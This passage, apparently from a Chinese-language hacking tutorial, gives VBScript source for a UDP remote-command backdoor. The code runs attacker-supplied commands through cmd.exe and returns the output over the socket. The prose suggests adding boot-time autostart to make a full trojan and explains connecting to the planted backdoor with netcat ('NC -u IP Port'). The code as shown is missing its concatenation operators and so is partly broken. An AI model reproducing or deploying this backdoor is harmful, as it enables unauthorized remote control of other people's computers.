Do if sock.BytesReceived>0 then sock.getdata revdata,vbString if instr(revdata,"exit")>0 then exit do else on error resume next tempfile="C:\" fso.GetTempName 'cmd=right(revdata,len(revdata)-4) cmd=left(revdata,len(revdata)-3) //利用绑定cmd的输出 call sc.Run ("cmd.exe /c " cmd " > " tempfile,0,True) Set txf = fso.OpenTextFile(tempfile,1,false,0) //把输出的文件读入内存,用SendData发送到客户端 sock.senddata txf.readall vbcrlf vbcrlf txf.close call fso.DeleteFile(TempFile,True) end if //嘻嘻,下面是我的版权喔 sock.senddata "--End--" vbcrlf "ForHelp exit:end|run:RunFileName>" vbcrlf "Maked by Attrib Data:2004.7.28" vbcrlf vbcrlf end if Loop sock.senddata "连接已关闭!" vbcrlf sock.close sock=nothings ------------------- 到此,代码的基本架构已经完成了,要想做一个全能的木马可以在代码里加上诸如开机自动运行等。由于VBS程序没有设置出错保护,可能一些错误的操作会出现程蹦溃,有兴趣的朋友可以自己试试。用法是先把这个VBS后门运行在服务端,之后就用你的NC连,因为用的是UDP协议,NC的命令行是“NC –u IP Port”,记得要加上那个“-u”参数啊,之后就像WinShell一样用就行了,下面是在我的机器里测试的截图。